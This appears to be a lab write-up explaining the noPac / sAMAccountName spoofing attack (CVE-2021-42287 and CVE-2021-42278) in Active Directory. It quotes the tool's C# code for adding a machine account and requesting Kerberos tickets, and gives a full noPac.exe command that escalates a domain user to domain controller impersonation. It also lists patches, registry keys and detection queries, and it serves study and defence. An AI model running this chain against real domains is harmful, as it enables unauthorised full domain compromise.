SamAccountName Spoofing & Domain Controller Impersonation (CVE-2021-42287 & CVE-2021-42278)

Looking at CVE-2021-42287 & CVE-2021-42278 🤖

Introduction

Two CVEs:

Bug: CVE-2021-42287 addresses a security bypass vulnerability that affects the Kerberos Privilege Attribute Certificate (PAC) and allows potential attackers to impersonate domain controllers. To exploit this vulnerability, a compromised domain account might cause the Key Distribution Center (KDC) to create a service ticket with a higher privilege level than that of the compromised account. It accomplishes this by preventing the KDC from identifying which account the higher privilege service ticket is for.

Fix: The improved authentication process in CVE-2021-42287 adds new information about the original requestor to the PACs of Kerberos Ticket-Granting Tickets (TGT). Later, when a Kerberos service ticket is generated for an account, the new authentication process will verify that the account that requested the TGT is the same account referenced in the service ticket.

TL;DR:

Its a bypass impacting the PAC which can allow an attacker to impersonate a domain controller.

CVE-2021-42278

Bug: CVE-2021-42278 addresses a security bypass vulnerability that allows potential attackers to impersonate a domain controller using computer account sAMAccountName spoofing.

Fix: After installing CVE-2021-42278, Active Directory will perform the validation inspections listed below on the sAMAccountName and UserAccountControl attributes of computer accounts created or modified by users who do not have administrator rights for machine accounts.

sAMAccountType validation for user and computer accounts:

  • ObjectClass=Computer (or subclass of computer) accounts must have UserAccountControl flags of UF_WORKSTATION_TRUST_ACCOUNT or UF_SERVER_TRUST_ACCOUNT

  • ObjectClass=User must have UAC flags of UF_NORMAL_ACCOUNT or UF_INTERDOMAIN_TRUST_ACCOUNT

sAMAccountName validation for computer accounts:

The sAMAccountName of a computer account whose UserAccountControl attribute contains the UF_WORKSTATION_TRUST_ACCOUNT flag must end with a single dollar sign ($). When these conditions are not met, Active Directory returns the failure code 0x523 ERROR_INVALID_ACCOUNTNAME. Failed validations are logged in the Directory-Services-SAM event ID 16991 in the System event log.

When these conditions are not met, Active Directory returns a failure code of ACCESS_DENIED. Failed validations are logged in the Directory-Services-SAM event ID 16990 in the System event log.

That's good to go, next the Solution arguments:

Before looking through the code, double checking my Domain Controller is vulnerable:

Doesn't seem to be vulnerable. If it was, a smaller TGT would be present. This sizing is discussed in CVE-2021-42287/CVE-2021-42278 Weaponisation where the length is determined by the presence of the PAC.

KB5008380—Authentication updates (CVE-2021-42287) states:

After installing Windows updates dated November 9, 2021 or later, PACs will be added to the TGT of all domain accounts, even those that previously chose to decline PACs.

Perhaps my checks of the KBs wasn't entirely effective, lol. The KBs referenced:

  • KB5008380

  • KB5008102

  • KB5008602

Patches installed after 09/11/2021:

Additionally, the patches fixing the issue apply some registry key/values:

Key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc
Value: PacRequestorEnforcement

Checking for this:

Googling PacRequestorEnforcement, led me to November 2021 Updates, Events 35, 37 on DCs, PacRequestorEnforcement registry key: Confusion and Questions in which people are discussing a bit of confusion around the patch. As I'll go for the laziest solution, I'll just remove all patches from November...

Removing Security Update for Microsoft Windows (KB5007192) allows me to get a small TGT:

Running the exploit now:

Lets take a look at what has happened here...

Add a Machine to Active Directory

The first thing required is to add a machine to Active Directory. This can be done with PowerMad and the New-MachineAccount cmdlet. However, noPac does this with some dotnet:

public static void NewMachineAccount(string container, string distinguishedName, string domain, string domainController, string machineAccount, string machinePassword, bool verbose, bool random, NetworkCredential credential)
        {
            string samAccountName;

            if (machineAccount.EndsWith("$"))
            {
                samAccountName = machineAccount;
                machineAccount = machineAccount.Substring(0, machineAccount.Length - 1);
            }
            else
            {
                samAccountName = String.Concat(machineAccount, "$");
            }

            byte[] unicodePwd;
            string randomPassword = "";

            if (random)
            {
                Console.WriteLine("[*] Generating random machine account password");
                RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider();
                byte[] randomBuffer = new byte[16];
                cryptoServiceProvider.GetBytes(randomBuffer);
                machinePassword = Convert.ToBase64String(randomBuffer);
            }

            domain = domain.ToLower();
            string dnsHostname = String.Concat(machineAccount, ".", domain);
            string[] servicePrincipalName = { String.Concat("HOST/", dnsHostname), String.Concat("RestrictedKrbHost/", dnsHostname), String.Concat("HOST/", machineAccount), String.Concat("RestrictedKrbHost/", machineAccount) };
            unicodePwd = Encoding.Unicode.GetBytes(String.Concat('"', machinePassword, '"'));
            distinguishedName = GetMAQDistinguishedName(machineAccount, container, distinguishedName, domain, verbose);
            LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(domainController, 389);
            LdapConnection connection = new LdapConnection(identifier);

            if (!String.IsNullOrEmpty(credential.UserName))
            {
                connection = new LdapConnection(identifier, credential);
            }

            try
            {
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;
                connection.Bind();
                AddRequest request = new AddRequest();
                request.DistinguishedName = distinguishedName;
                request.Attributes.Add(new DirectoryAttribute("objectClass", "Computer"));
                request.Attributes.Add(new DirectoryAttribute("sAMAccountName", samAccountName));
                request.Attributes.Add(new DirectoryAttribute("userAccountControl", "4096"));
                request.Attributes.Add(new DirectoryAttribute("dNSHostName", dnsHostname));
                request.Attributes.Add(new DirectoryAttribute("servicePrincipalName", servicePrincipalName));
                request.Attributes.Add(new DirectoryAttribute("unicodePwd", unicodePwd));
                connection.SendRequest(request);
                connection.Dispose();

                if (random)
                {
                    Console.WriteLine("[+] Machine account {0} added with password {1}", machineAccount, randomPassword);
                }
                else
                {
                    Console.WriteLine("[+] Machine account {0} added", machineAccount);
                }

            }
            catch (Exception ex)
            {

                if (ex.Message.Contains("The object exists."))
                {
                    Console.WriteLine("[!] Machine account {0} already exists", machineAccount);
                }
                else if (ex.Message.Contains("The server cannot handle directory requests."))
                {
                    Console.WriteLine("[!] User may have reached ms-DS-MachineAccountQuota limit");
                }

                Console.WriteLine(ex.ToString());
                connection.Dispose();
                throw;
            }
        }

A machine account is then created:

Clear SPNs

As exploit.ph states:

So the SPN it was trying to set was already an SPN belonging to the target DC. Ceri suggested removing the SPNs before changing the samaccountname, which worked.

The SPN it is trying to create already exists, so it needs to be cleared first. Putting a breakpoint after clear and checking the SPN, the newly created machine account has multiple SPNs set:

Then the same again post-clear:

Set the SamAccountName

The next thing it does is set the SamAccountName to be that of johto-dc01, the domain controller. Calling Get-ADComputer on the demo machine:

Opening this machine in Active Directory Users and Computers, the demo properties look super strange:

  • DNS Name: DEMO.JOHTO.LOCAL

  • Computer Name: JOHTO-DC01

Querying JOHTO-DC01:

An Exception is thrown with ADMultipleMatchingIdentitiesException.

ASK TGT

The final stage: asking for a TGT.

The code:

public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true)
{
    // send request without Pre-Auth to emulate genuine traffic
    bool preauth = false;
    if (opsec)
    {
        preauth = NoPreAuthTGT(userName, domain, keyString, etype, domainController, outfile, ptt, luid, describe, true);
    }

    try
    {
        // if AS-REQ without pre-auth worked don't bother sending AS-REQ with pre-auth
        if (!preauth)
        {
            //Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);               
            //Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
            AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac);
            return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, false, opsec, servicekey);
        }
    }
    catch (KerberosErrorException ex)
    {
        KRB_ERROR error = ex.krbError;
        Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
    }
    catch (RubeusException ex)
    {
        Console.WriteLine("\r\n" + ex.Message + "\r\n");
    }

    return null;
}

If opsec is not set, it will return the response of InnerTGT():

public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool getCredentials = false)
{
    if ((ulong)luid != 0) {
        Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
    }

    string dcIP = Networking.GetDCIP(domainController, false);
    if (String.IsNullOrEmpty(dcIP))
    {
        throw new RubeusException("[X] Unable to get domain controller address");
    }

    byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode());
    if (response == null)
    {
        throw new RubeusException("[X] No answer from domain controller");
    }

    // decode the supplied bytes to an AsnElt object
    AsnElt responseAsn;
    try
    {
        responseAsn = AsnElt.Decode(response);
    }
    catch(Exception e)
    {
       throw new Exception($"Error parsing response AS-REQ: {e}.  Base64 response: {Convert.ToBase64String(response)}");
    }

    // check the response value
    int responseTag = responseAsn.TagValue;

    if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP)
    {
        if (verbose)
        {
            Console.WriteLine("[+] TGT request successful!");
        }

        byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, getCredentials, dcIP);

        return kirbiBytes;
    }
    else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
    {
        // parse the response to an KRB-ERROR
        KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
        throw new KerberosErrorException("", error);
    }
    else
    {
        throw new RubeusException("[X] Unknown application tag: " + responseTag);
    }
}

Undo SamAccountName

This does the same as Set the SamAccountName, but sets it back to demo:

Rubeus S4U

I'm not going to explain S4U, the following is from: Rubeus#s4u:

A TL;DR explanation is that an account with constrained delegation enabled is allowed to request tickets to itself as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have TrustedToAuthForDelegation enabled in it's useraccountcontrol property, something that only elevated users can modify by default. This ticket has the FORWARDABLE flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's msds-allowedtodelegateto field. So long story short, if you have control of an account with TrustedToAuthForDelegation set and a value in msds-allowedtodelegateto, you can pretend to be any user in the domain to the SPNs set in the account's msds-allowedtodelegateto field.

Also see:

This is where the ticket is returned:

Full Compromise

With one command:

The command:

.\noPac.exe -domain johto.local -user brock -pass Password1 /dc johto-dc01.johto.local /mAccount demo /mPassword Password123! /service cifs /ptt

If a Linux version is required, then sam-the-admin can be used. Here is a demo from the README:

Conclusion

In this post I explored, roughly, how the No PAC and SamAccountName spoofing works. Evidently, this can go from any domain user to full domain controller impersonation. Thus, zero to hero the environment.

If this is for an internal assessment, and the client does not want any Active Directory modifications (I.E: adding the domain computer), then the scan option can be used, as well as checking the following KBs:

  • KB5008380

  • KB5008102

  • KB5008602

  • Security Update for Microsoft Windows (KB5007192)

To find non-compliance:

Get-ADComputer -LDAPFilter "(samAccountName=*)" |? SamAccountName -NotLike "*$" | select DNSHostName, Name, SamAccountName
Get-ADComputer -LDAPFilter "UserAccountControl:1.2.840.113556.1.4.803:=512”

The following is the enforcement phases of the patch:

The July 12, 2022 release will transition all Active Directory domain controllers into the Enforcement phase. The Enforcement phase will also remove the PacRequestorEnforcement registry key completely. As a result, Windows domain controllers that have installed the July 12, 2022 update will no longer be compatible with:

  • Domain controllers that did not install the November 9, 2021 or later updates.

  • Domain controllers that installed the November 9, 2021 or later updates but have not yet installed the April 12, 2022 update ANDwho have a PacRequestorEnforcement registry value of 0.

However, Windows domain controllers that have installed the July 12, 2022 update will remain compatible with:

  • Windows domain controllers that have installed the July 12, 2022 or later updates

  • Window domain controllers that have installed the November 9th, 2021 or later updates and have a PacRequestorEnforcement value or either 1 or 2

Final note, the new Event IDs. These are from CVE-2021-42287/CVE-2021-42278 Weaponisation:

Honestly, just recommend reading CVE-2021-42287/CVE-2021-42278 Weaponisation and the accompanying references below.

References

Last updated